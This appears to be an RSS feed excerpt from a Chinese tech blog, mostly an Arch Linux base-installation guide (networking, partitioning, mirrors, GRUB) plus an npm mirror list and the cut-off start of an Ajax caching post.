&lt;h2&gt;三、你的目的是什么？&lt;/h2&gt;
&lt;p&gt;目的，也就是你的使用需求，你究竟想要用这个软件做什么事
比如说，上次我想编辑排版 Markdown，有人向我推荐 Word，我委婉地拒绝了他
因为他不懂我的需求，Word 和 Markdown 完全是两码事&lt;/p&gt;
&lt;p&gt;你想做什么，是你选择某一款软件的决定性因素，也是你的最终目的，挑选任何一款软件前都必须明确，不能将就&lt;/p&gt;
&lt;h2&gt;四、立刻下载使用&lt;/h2&gt;
&lt;p&gt;如果你觉得好，对它感兴趣，那就立刻下载，立刻使用
不要总是像松鼠一样囤积一堆软件放在那里，却一次都不用&lt;/p&gt;
&lt;p&gt;很多时候，需求是通过使用来慢慢明确细化的
比如你一开始只是想要文本编辑器，但是你后面发现你需要支持 Markdown 的文本编辑器，然后你又发现你不光需要它能支持，还要能高亮并实时显示&lt;/p&gt;
&lt;p&gt;通过大量使用有助于你对某个软件有自我的评价，而不是人云亦云&lt;/p&gt;
&lt;h2&gt;五、及时更新版本&lt;/h2&gt;
&lt;p&gt;人是不断进步的，软件也是如此，新的版本也许有未知的 BUG，也许有较大的改动，需要新的学习成本
但是新的版本也意味着新的功能，这样的体验，不是很美妙么？&lt;/p&gt;
&lt;p&gt;每时每刻都会有新的软件诞生，关注了解它们，丰富你的软件知识库，以防不时之需&lt;/p&gt;
&lt;h2&gt;六、参与软件改进&lt;/h2&gt;
&lt;p&gt;软件的进步，需要用户的反馈，也需要你我的参与
对于缺点、BUG、需求，如果你真的喜欢某个软件，都要记得去提出
一般的开源软件基本都会有社区，或者是联系 Email，或者是反馈地址
提出你的需求，有助于软件的改进&lt;/p&gt;
&lt;p&gt;当然，如果你是一名程序员，你还可以完全直接参与到某个开源软件中去
或者贡献翻译，或者丰富文档，或者提交代码变更&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;那么，您是用户，还是缔造者，还是贡献者呢？&lt;/p&gt;
</content:encoded></item><item><title>ArchLinux基础安装</title><link>https://blog.hiyun.top/posts/archlinux%E5%9F%BA%E7%A1%80%E5%AE%89%E8%A3%85/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/archlinux%E5%9F%BA%E7%A1%80%E5%AE%89%E8%A3%85/</guid><description>ArchLinux基础安装</description><pubDate>Tue, 19 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;本篇参考 &lt;a href=&quot;https://wiki.archlinux.org/index.php/Installation_guide&quot;&gt;Arch Linux 官方安装指南&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h2&gt;禁用 reflector&lt;/h2&gt;
&lt;p&gt;reflector 会为你选择速度合适的镜像源
但其结果并不准确
同时会清空配置文件中的内容
对于新人来讲并不适用
我们首先对其进行禁用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl stop reflector.service
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;再次确保是否为 UEFI 模式&lt;/h2&gt;
&lt;p&gt;在一系列的信息刷屏后
可以看到已经以 root 登陆安装系统了
此时可以执行的命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls /sys/firmware/efi/efivars
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;若输出了一堆东西，即 &lt;code&gt;efi&lt;/code&gt; 变量
则说明已在 &lt;code&gt;UEFI&lt;/code&gt; 模式
否则请确认你的启动方式是否为 &lt;code&gt;UEFI&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;连接网络&lt;/h2&gt;
&lt;p&gt;一般来说，你连接的网络几乎均可以通过 &lt;code&gt;DHCP&lt;/code&gt; 的方式来进行 &lt;code&gt;IP 地址&lt;/code&gt; 和 &lt;code&gt;DNS&lt;/code&gt; 的相关设置
在没有合适网络的情况下，使用 &lt;code&gt;手机的移动热点&lt;/code&gt; 也是很方便的选择
如果你的网络环境需要配置静态 &lt;code&gt;IP&lt;/code&gt; 和 &lt;code&gt;DNS&lt;/code&gt;
请自行参考 &lt;a href=&quot;https://wiki.archlinux.org/title/Installation_guide#Connect_to_the_internet&quot;&gt;Arch Wiki&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;对于有线连接来说，直接插入网线即可&lt;/p&gt;
&lt;p&gt;对于无线连接，则需进行如下操作进行网络连接&lt;/p&gt;
&lt;p&gt;无线连接使用 iwctl 命令进行，按照如下步骤进行网络连接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iwctl                           #执行iwctl命令，进入交互式命令行
device list                     #列出设备名，比如无线网卡看到叫 wlan0
station wlan0 scan              #扫描网络
station wlan0 get-networks      #列出网络 比如想连接YOUR-WIRELESS-NAME这个无线
station wlan0 connect YOUR-WIRELESS-NAME #进行连接 输入密码即可
exit                            #成功后exit退出
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以等待几秒等网络建立链接后再进行下面测试网络的操作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ping www.gnu.org
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;如果你不能正常连接网络，首先确认系统已经启用网络接口&lt;a href=&quot;https://wiki.archlinux.org/index.php/Network_configuration/Wireless#Check_the_driver_status&quot;&gt;Ⅰ&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip link  #列出网络接口信息，如不能联网的设备叫wlan0
ip link set wlan0 up #比如无线网卡看到叫 wlan0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果随后看到类似 &lt;code&gt;Operation not possible due to RF-kill&lt;/code&gt; 的报错，继续尝试 &lt;code&gt;rfkill&lt;/code&gt; 命令来解锁无线网卡&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rfkill unblock wifi
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;更新系统时钟&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;timedatectl set-ntp true    #将系统时间与网络时间进行同步
timedatectl status          #检查服务状态
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;分区&lt;/h2&gt;
&lt;p&gt;这里总共设置三个分区，是一个我们认为较为通用的方案
此步骤会清除磁盘中全部内容，请事先确认&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EFI 分区 &lt;a href=&quot;https://wiki.archlinux.org/title/EFI_system_partition#Mount_the_partition&quot;&gt;Ⅱ&lt;/a&gt;： /efi 800M&lt;/li&gt;
&lt;li&gt;根目录： / 100G&lt;/li&gt;
&lt;li&gt;用户主目录： /home 剩余全部&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;这里根目录的大小仅为参考
一般来说个人日常使用的 linux 分配 100G 已经够用了
根目录最小建议不小于 50G，根目录过小会造成无法更新系统软件包等问题&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先将磁盘转换为 gpt 类型
这里假设比如你想安装的磁盘名称为 sdx
如果你使用 NVME 的固态硬盘
你看到的磁盘名称可能为 nvme0n1&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;lsblk                       #显示分区情况 找到你想安装的磁盘名称
parted /dev/sdx             #执行parted，进入交互式命令行，进行磁盘类型变更
(parted)mktable             #输入mktable
New disk label type? gpt    #输入gpt 将磁盘类型转换为gpt 如磁盘有数据会警告，输入yes即可
quit                        #最后quit退出parted命令行交互
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来使用 &lt;code&gt;cfdisk&lt;/code&gt; 命令对磁盘分区。进入 &lt;code&gt;cfdisk&lt;/code&gt; 后的操作很直观
用键盘的&lt;code&gt;方向键&lt;/code&gt; 、 &lt;code&gt;Tab 键&lt;/code&gt; 、 &lt;code&gt;回车键&lt;/code&gt; 配合即可操作分配各个分区的大小与格式
一般建议将 &lt;code&gt;EFI 分区&lt;/code&gt; 设置为磁盘的第一个分区
据说有些主板如果不将 EFI 设置为第一个分区， &lt;code&gt;可能&lt;/code&gt; 有 &lt;code&gt;不兼容&lt;/code&gt; 的问题
其中 &lt;code&gt;EFI 分区&lt;/code&gt; 选择 &lt;code&gt;EFI System&lt;/code&gt; 类型
其余两个分区&lt;code&gt;选择&lt;/code&gt;Linux filesystem` 类型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cfdisk /dev/sdx #来执行分区操作,分配各个分区大小，类型
fdisk -l #分区结束后， 复查磁盘情况
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;格式化&lt;/h2&gt;
&lt;p&gt;建立好分区后，需要对分区用合适的文件系统进行格式化
这里用mkfs.ext4命令格式化根分区与 home 分区
用mkfs.vfat命令格式化 EFI 分区
如下命令中的 sdax 中，x 代表分区的序号
格式化命令要与上一步分区中生成的分区名字对应才可以&lt;/p&gt;
&lt;p&gt;磁盘若事先有数据
会提示你: &apos;proceed any way?&apos; 按 y 回车继续即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkfs.ext4  /dev/sdax            #格式化根目录和home目录的两个分区
mkfs.vfat  /dev/sdax            #格式化efi分区
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;挂载&lt;/h2&gt;
&lt;p&gt;在挂载时，挂载是有顺序的，先挂载根分区，再挂载 EFI 分区
这里的 sdax 只是例子，具体根据你自身的实际分区情况来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mount /dev/sdax  /mnt
mkdir /mnt/efi     #创建efi目录
mount /dev/sdax /mnt/efi
mkdir /mnt/home    #创建home目录
mount /dev/sdax /mnt/home
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;镜像源的选择&lt;/h2&gt;
&lt;p&gt;使用如下命令编辑镜像列表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/pacman.d/mirrorlist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中的首行是将会使用的镜像源
添加中科大或者清华的放在最上面即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Server = https://mirrors.ustc.edu.cn/archlinux/$repo/os/$arch
Server = https://mirrors.tuna.tsinghua.edu.cn/archlinux/$repo/os/$arch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果其速度不佳，可以手动指定其他镜像源。完整的镜像源列表可参考&lt;a href=&quot;https://archlinux.org/mirrorlist/&quot;&gt;镜像源生成器&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里使用中国境内的镜像源以提高访问速度&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;然而这存在问题，镜像源(如 &lt;code&gt;ArchLinux 清华镜像源&lt;/code&gt; )以及第三方源(如 &lt;code&gt;ArchLinuxCN&lt;/code&gt; )可以知道你的 &lt;code&gt;IP&lt;/code&gt; 是什么
什么时候更新了系统，什么时候检查了系统，什么时候更新了什么软件，你安装的软件列表是什么
在 &lt;code&gt;威权国家&lt;/code&gt; 的 &lt;code&gt;镜像源维护者&lt;/code&gt; 完全有可能 &lt;code&gt;根据威权当局&lt;/code&gt; 的要求 &lt;code&gt;提供这些数据&lt;/code&gt;
&lt;code&gt;很多维护者&lt;/code&gt; 在网络上几乎是 &lt;code&gt;实名上网&lt;/code&gt; 的，他们 &lt;code&gt;没有任何抵抗能力&lt;/code&gt;
进一步的， &lt;code&gt;威权国家&lt;/code&gt; 可以根据这些 &lt;code&gt;元数据&lt;/code&gt; 与你产生的 &lt;code&gt;其他元数据&lt;/code&gt; 进行 &lt;code&gt;比对&lt;/code&gt;
从而对你进行 &lt;code&gt;进一步&lt;/code&gt; 的 &lt;code&gt;定位与辨识&lt;/code&gt;
简单举一个 &lt;code&gt;例子&lt;/code&gt; ，要求维护者 &lt;code&gt;提供&lt;/code&gt; 或 &lt;code&gt;监视&lt;/code&gt; 安装了 &lt;code&gt;v2ray/qv2ray&lt;/code&gt; 等软件包的 &lt;code&gt;使用者&lt;/code&gt; 的 &lt;code&gt;IP&lt;/code&gt; ,以及 &lt;code&gt;安装时间&lt;/code&gt; ，以及其 &lt;code&gt;全部软件列表&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你在安装 ArchLinux 时的网络已经处于 &lt;code&gt;代理模式&lt;/code&gt; 下
可以选择一个 &lt;code&gt;与你代理位置较近&lt;/code&gt; 的,  &lt;code&gt;非威权国家&lt;/code&gt; 的镜像源来使用
如果你在安装 ArchLinux 时的网络环境 &lt;code&gt;没有代理&lt;/code&gt;
那么在安装结束后，需要 &lt;code&gt;尽快更换&lt;/code&gt; 一个 &lt;code&gt;非威权国家&lt;/code&gt; 的镜像源来使用
如下列举一些较为优质的 &lt;code&gt;国际源&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;Server = https://mirror.archlinux.tw/ArchLinux/$repo/os/$arch   #东亚地区:台湾/中华民国
Server = https://mirror.0xem.ma/arch/$repo/os/$arch    #北美洲地区:加拿大
Server = https://mirror.aktkn.sg/archlinux/$repo/os/$arch    #东南亚地区:新加坡
Server = https://archlinux.uk.mirror.allworldit.com/archlinux/$repo/os/$arch    #欧洲地区:英国
Server = https://mirrors.cat.net/archlinux/$repo/os/$arch    #东亚地区:日本
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装系统&lt;/h2&gt;
&lt;p&gt;必须的基础包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pacstrap /mnt base base-devel linux linux-headers linux-firmware  #base-devel在AUR包的安装是必须的
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意
目前需要首先确保等待 &lt;code&gt;pacman-init.service&lt;/code&gt; 服务启动后，才能执行 &lt;code&gt;pacstrap&lt;/code&gt; 或 &lt;code&gt;pacman&lt;/code&gt; 命令安装包
否则会 &lt;code&gt;引发错误&lt;/code&gt; 使得安装过程无法进行
使用 &lt;code&gt;systemctl status pacman-init.service&lt;/code&gt; 命令来检查当前服务状态
更多内容参考 bbs 中的 &lt;a href=&quot;https://bbs.archlinux.org/viewtopic.php?id=278518&amp;amp;p=2&quot;&gt;帖子&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;若安装时出现密钥环相关错误，参考此文章 &lt;a href=&quot;https://archlinux.org/news/gnupg-21-and-the-pacman-keyring/&quot;&gt;GnuPG-2.1 and the pacman keyring&lt;/a&gt; 并执行其中的命令&lt;/p&gt;
&lt;p&gt;必须的功能性软件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pacstrap /mnt dhcpcd iwd vim bash-completion   #一个有线所需(iwd也需要dhcpcd) 一个无线所需 一个编辑器 一个补全工具
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;生成 fstab 文件&lt;/h2&gt;
&lt;p&gt;fstab 用来定义磁盘分区&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;genfstab -U /mnt &amp;gt;&amp;gt; /mnt/etc/fstab
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;复查一下 /mnt/etc/fstab 确保没有错误&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /mnt/etc/fstab
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Change root&lt;/h2&gt;
&lt;p&gt;把环境切换到 &lt;code&gt;新系统&lt;/code&gt;的 &lt;code&gt;/mnt&lt;/code&gt; 下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;arch-chroot /mnt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;时区设置&lt;/h2&gt;
&lt;p&gt;设置时区，在 &lt;code&gt;/etc/localtime&lt;/code&gt; 下用 &lt;code&gt;/usr&lt;/code&gt; 中合适的时区创建符号连接
如下设置 &lt;code&gt;上海时区&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随后进行硬件时间设置，将当前的正确 UTC 时间写入硬件时间&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hwclock --systohc
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;设置 Locale 进行本地化&lt;/h2&gt;
&lt;p&gt;Locale 决定了 &lt;code&gt;地域&lt;/code&gt; 、 &lt;code&gt;货币&lt;/code&gt; 、 &lt;code&gt;时区日期的格式&lt;/code&gt; 、 &lt;code&gt;字符排列方式&lt;/code&gt; 和其他本地化标准&lt;/p&gt;
&lt;p&gt;首先使用 &lt;code&gt;vim&lt;/code&gt; 编辑 &lt;code&gt;/etc/locale.gen&lt;/code&gt; ，去掉 &lt;code&gt;en_US.UTF-8&lt;/code&gt; 所在行以及 &lt;code&gt;zh_CN.UTF-8&lt;/code&gt; 所在行的注释符号 &lt;code&gt;#&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/locale.gen
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后使用如下命令生成 locale&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;locale-gen
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后向 &lt;code&gt;/etc/locale.conf&lt;/code&gt; 导入内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;LANG=en_US.UTF-8&apos;  &amp;gt; /etc/locale.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;设置主机名&lt;/h2&gt;
&lt;p&gt;首先在 &lt;code&gt;/etc/hostname&lt;/code&gt; 设置主机名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/hostname
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加入你想为主机取的主机名，这里比如叫 ArchZer0s
接下来在/etc/hosts设置与其匹配的条目&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加入如下内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;127.0.0.1   localhost
::1         localhost
127.0.1.1   ArchZer0s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;某些情况下如不设置主机名
在 &lt;code&gt;KDE&lt;/code&gt; 下可能会存在网络情况变更时 &lt;code&gt;无法启动 GUI 应用&lt;/code&gt; 的问题
在终端中出现形如 &lt;code&gt;No protocol specified qt.qpa.xcb: could not connect to display&lt;/code&gt; 的错误
这种情况较为少见 &lt;a href=&quot;https://bbs.archlinux.org/viewtopic.php?id=241338&quot;&gt;Ⅲ&lt;/a&gt; &lt;a href=&quot;https://bbs.archlinux.org/viewtopic.php?id=243674&quot;&gt;Ⅳ&lt;/a&gt; &lt;a href=&quot;https://wiki.archlinux.org/title/Network_configuration#Local_hostname_resolution&quot;&gt;Ⅴ&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;为 root 用户设置密码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装微码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;pacman -S intel-ucode   #Intel
pacman -S amd-ucode     #AMD
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装引导程序&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;pacman -S grub efibootmgr   #grub是启动引导器，efibootmgr被 grub 脚本用来将启动项写入 NVRAM。
grub-install --target=x86_64-efi --efi-directory=/efi --bootloader-id=GRUB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来编辑 &lt;code&gt;/etc/default/grub&lt;/code&gt; 文件
去掉 &lt;code&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/code&gt; 一行中最后的 &lt;code&gt;quiet&lt;/code&gt; 参数
同时把 &lt;code&gt;log level&lt;/code&gt; 的数值从 &lt;code&gt;3&lt;/code&gt; 改成 &lt;code&gt;5&lt;/code&gt;
这样是为了后续如果出现系统错误，方便排错
同时在同一行加入 &lt;code&gt;nowatchdog&lt;/code&gt; 参数
这可以显著提高开关机速度&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/default/grub
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 N 卡的用户需要注意
&lt;code&gt;KDE6&lt;/code&gt; 默认使用 &lt;code&gt;wayland session&lt;/code&gt; 为默认
如果你需要使用 &lt;code&gt;wayland&lt;/code&gt; ,则需开启 &lt;code&gt;DRM&lt;/code&gt;
同样编辑 &lt;code&gt;/etc/default/grub&lt;/code&gt; 文件
在 &lt;code&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/code&gt; 一行中最后的加入参数 &lt;code&gt;nvidia_drm.modeset=1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;最后生成 GRUB 所需的配置文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grub-mkconfig -o /boot/grub/grub.cfg
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;我们在之前的命令中指定了 &lt;code&gt;bootloader-id&lt;/code&gt; 为 &lt;code&gt;GRUB&lt;/code&gt;
这一般不会出现问题
然而在某些主板安装完成后，你会发现 &lt;code&gt;没有 nvme 启动条目&lt;/code&gt;
这是因为 &lt;code&gt;某些主板&lt;/code&gt; 的 &lt;code&gt;UEFI 固件&lt;/code&gt; 在显示 &lt;code&gt;UEFI NVRAM&lt;/code&gt; 引导条目 &lt;code&gt;之前&lt;/code&gt;
需要在特定的位置存放可引导文件，&lt;code&gt;不支持自定义&lt;/code&gt; 存放 &lt;code&gt;efi 文件&lt;/code&gt; &lt;a href=&quot;https://wiki.archlinux.org/index.php/GRUB#Default/fallback_boot_path&quot;&gt;Ⅵ&lt;/a&gt;
解决方式是使用 &lt;code&gt;--removable&lt;/code&gt; 参数解决一些主板 &lt;code&gt;NVRAM&lt;/code&gt; 的兼容性问题&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;grub-install --target=x86_64-efi --efi-directory=/efi --removable
grub-mkconfig -o /boot/grub/grub.cfg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;除此之外，如果你的主板是一些较老的型号
如 &lt;code&gt;intel 9&lt;/code&gt; 系列以下或者 &lt;code&gt;较老 AMD 的主板&lt;/code&gt;
它们很可能 &lt;code&gt;不支持&lt;/code&gt; 从 nvme 启动系统
虽然可以通过 &lt;code&gt;修改 BIOS&lt;/code&gt; 加入 NVME 支持模块来解决
但这不在本文讨论范围内&lt;/p&gt;
&lt;h2&gt;完成安装&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;exit                # 退回安装环境#
umount -R  /mnt     # 卸载新分区
reboot              # 重启
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意，重启前要先拔掉优盘，否则你重启后还是进安装程序而不是安装好的系统
重启后，&lt;code&gt;开启 dhcp 服务&lt;/code&gt; ，即可连接网络&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl start dhcpcd  #立即启动dhcp
ping www.gnu.org      #测试网络连接
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;若为无线链接，则还需要启动 &lt;code&gt;iwd&lt;/code&gt; 才可以使用 &lt;code&gt;iwctl&lt;/code&gt; 连接网络&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl start iwd #立即启动iwd
iwctl               #和之前的方式一样，连接无线网络
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;到此为止，一个基础的，&lt;code&gt;无 UI 界面&lt;/code&gt; 的 &lt;code&gt;Arch Linux&lt;/code&gt; 已经安装完成了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ArchLinux 在 &lt;code&gt;2021 年 4 月&lt;/code&gt; 在安装镜像中内置了一个安装脚本，提供一些选项，即可快速安装
其和所有一键安装脚本类似，提供自动化，且不灵活的安装过程
&lt;code&gt;不建议&lt;/code&gt; 使用这种安装脚本，除了不灵活的原因，&lt;code&gt;初学者也无法在这种安装过程中学到任何东西&lt;/code&gt;
如果你因为任何原因需要 &lt;code&gt;快速启动一个基础的 ArchLinux 环境&lt;/code&gt; ，那么可以 &lt;code&gt;尝试&lt;/code&gt; 此脚本&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>国内npm源镜像</title><link>https://blog.hiyun.top/posts/%E5%9B%BD%E5%86%85npm%E6%BA%90%E9%95%9C%E5%83%8F/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E5%9B%BD%E5%86%85npm%E6%BA%90%E9%95%9C%E5%83%8F/</guid><description>国内npm源镜像</description><pubDate>Sat, 16 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;国内npm源镜像（npm加速下载） 指定npm镜像&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h2&gt;国内npm源镜像&lt;/h2&gt;
&lt;h3&gt;指定npm镜像&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;NPM镜像提供方&lt;/th&gt;
&lt;th&gt;NPM镜像地址&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;NPM官方&lt;/td&gt;
&lt;td&gt;https://registry.npmjs.org/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;淘宝&lt;/td&gt;
&lt;td&gt;https://registry.npm.taobao.org/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;阿里云&lt;/td&gt;
&lt;td&gt;https://npm.aliyun.com/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;腾讯云&lt;/td&gt;
&lt;td&gt;https://mirrors.cloud.tencent.com/npm/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;华为云&lt;/td&gt;
&lt;td&gt;https://mirrors.huaweicloud.com/repository/npm/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;网易&lt;/td&gt;
&lt;td&gt;https://mirrors.163.com/npm/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中科院大学&lt;/td&gt;
&lt;td&gt;http://mirrors.ustc.edu.cn/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;清华大学&lt;/td&gt;
&lt;td&gt;https://mirrors.tuna.tsinghua.edu.cn/&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;切换源&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;npm config set registry 源的地址
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查看当前的镜像源&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;npm config get registry
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;推荐使用上面的方式指定npm镜像，当然方法不唯一，也可以用 &lt;code&gt;nrm&lt;/code&gt; 去指定npm镜像&lt;/p&gt;
&lt;h2&gt;什么是&lt;code&gt;nrm&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;nrm&lt;/code&gt; 是一个 &lt;code&gt;npm 源管理器&lt;/code&gt;，允许你快速地在 &lt;code&gt;npm&lt;/code&gt; 源间切换&lt;/p&gt;
&lt;h2&gt;安装nrm&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;npm install -g nrm1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;使用&lt;/h2&gt;
&lt;h3&gt;查看可选的源&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nrm ls   
1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;切换&lt;/h3&gt;
&lt;p&gt;如果要切换到taobao源，执行命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nrm use taobao1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;测试速度&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nrm test
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Ajax对缓存的处理</title><link>https://blog.hiyun.top/posts/ajax%E5%AF%B9%E7%BC%93%E5%AD%98%E7%9A%84%E5%A4%84%E7%90%86/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/ajax%E5%AF%B9%E7%BC%93%E5%AD%98%E7%9A%84%E5%A4%84%E7%90%86/</guid><description>Ajax对缓存的处理</description><pubDate>Fri, 15 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;缓存&lt;/h2&gt;
&lt;p&gt;浏览器的一次请求需要从服务器获得许多css、img、js等相关的文件
如果每次请求都把相关资源文件加载一次
对带宽、服务器资源、用户等待时间都有严重的损耗
浏览器有做优化处理，就是把css、img、js等文件在第一次请求成功后就在本地保留一个缓存备份
后续的每次请辞u就在本身获得相关的缓存资源文件就可以了
可以明显地加快用户的访问速度&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;css、img、js等文件可以缓存
但是动态程序文件例如PHP文件不能进行缓存
即使缓存我们也不要其缓存效果。
览器对动态程序文件缓存的处理解决：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;给请求的地址设置随机数【推荐】&lt;/li&gt;
&lt;li&gt;给动态程序设置header头信息，禁止浏览器对其缓存&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;给请求的地址设置随机数&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt; 
&amp;lt;html lang=&quot;en&quot;&amp;gt; 
&amp;lt;head&amp;gt;     
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;     
    &amp;lt;title&amp;gt;Ajax对缓存的处理&amp;lt;/title&amp;gt;     
    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;         
    function f1(){        
